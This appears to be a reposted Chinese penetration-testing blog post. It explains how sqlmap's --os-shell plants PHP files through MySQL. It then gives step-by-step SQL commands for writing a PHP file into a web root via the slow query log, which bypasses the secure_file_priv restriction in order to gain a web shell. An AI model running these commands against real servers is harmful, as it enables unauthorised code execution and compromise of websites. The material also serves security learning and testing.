当前位置:网站首页>通过os-shell引发的mysql拿shell的思考
通过os-shell引发的mysql拿shell的思考
2022-07-29 05:26:00 【无情哈老少】
–os-shell使用条件
对于mysql数据库来说,–os-shell的本质就是写入两个php文件,其中的tmpugvzq.php可以让我们上传文件到网站路径下
然后sqlmap就会通过上面这个php上传一个用于命令执行的tmpbylqf.php到网站路径下,让我们命令执行,并将输出的内容返回sqlmap端。
知道网站的物理路径
高权限数据库用户
secure_file_priv无限制 (mysql 5.6.34版本以后默认为null,无法写入文件)
网站路径有写入权限
那么当我们发现其他条件都满足,但PHP版本过高怎么办呢?请看如下方法
mysql高权限突破写入限制拿shell
mysql 5.6.34以下版本可以用文件操作函数直接写入shell
慢查询日志写shell
下面介绍这种方法
1.设置slow_query_log=1.即启用慢查询日志(默认禁用)。
set global slow_query_log = 1;
2.伪造(修改)slow_query_log_file日志文件的绝对路径以及文件名
set global slow_query_log_file='绝对路径\\filename';
set global slow_query_log_file='D:\\phpstudy_pro\\WWW\\1.php'; //注意这里两个下划线,转义
show variables like'%slow_query_log%'; //查询是否设置成功
3.向日志文件写入shell
select '<?= phpinfo(); ?>' or sleep(11) //这里可以用一个等号代替php,这是php的一个特性
//注意这里的11秒根据实际情况而定,也就是根据下面所说的慢查询的时间
对慢查询日志的补充:
因为是用的慢查询日志,所以说只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。
时间默认超过多少的称为慢查询日志?
一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下:
show global variables like '%long_query_time%' //默认10秒
set global long_query_time = 9; //设置慢查询为9秒

注:该方法也需要下列条件
1.root权限
2.知道网站绝对路径
3.该目录下有写入权限
总结:
相对来说比–os-shell少一个条件,也就是比传统的文件导入写shell少一个条件,那就是secure_file_priv的限制,不失为一种好的思路。
边栏推荐
猜你喜欢

虹科分享 | 带你全面了解“CAN总线错误”(四)——在实践中生产和记录CAN错误

Leetcode 977. Square of ordered array

Personal views on time complexity

Leetcode 3. longest substring without repeated characters

MySQL interview questions

Leetcode 83. delete duplicate elements in the sorting linked list
![[beauty of software engineering - column notes] 19 | as a programmer, you should have product awareness](/img/32/180bfe5904366946fca0d987f4e8ad.png)
[beauty of software engineering - column notes] 19 | as a programmer, you should have product awareness

Leetcode 19. delete the penultimate node of the linked list
![[beauty of software engineering - column notes] 17 | what is the need analysis? How to analyze?](/img/54/5ea29b125e3b871cd08d52ccc05d3a.png)
[beauty of software engineering - column notes] 17 | what is the need analysis? How to analyze?

虹科方案 | 在数字化的变电站中低成本实现无缝集成的独特解决方案
随机推荐
Official tutorial redshift 07 instances and proxy
角色shader小练习
Navicat for Oracle Cannot create oci environment
【Leetcode刷题】数组1——双指针
[beauty of software engineering - column notes] 17 | what is the need analysis? How to analyze?
官方教程 Redshift 03 各种GI的参数和常规使用说明
子网数、主机数与子网掩码的关系
Leetcode 557. reverse word III in string
右值引用和移动构造
Leetcode notes 452. minimum number of arrows to burst balloons (medium) 452. detonate balloons with the minimum number of arrows (medium)
虹科分享 | 带你全面认识“CAN总线错误”(二)——CAN错误类型
练习:存放部门信息
Vivado IP核之浮点数加减法 Floating-point
虹科Automation softPLC | 虹科KPA MoDK运行环境与搭建步骤(3)——MoDK例程测试
Unity初学3——敌人的移动控制和掉血区域的设置(2d)
LeetCode #1.两数之和
UE4/UE5 C盘变大处理
【Leetcode刷题】数组3——分治
Leetcode 14. longest public prefix
6898 changing matrix problem solution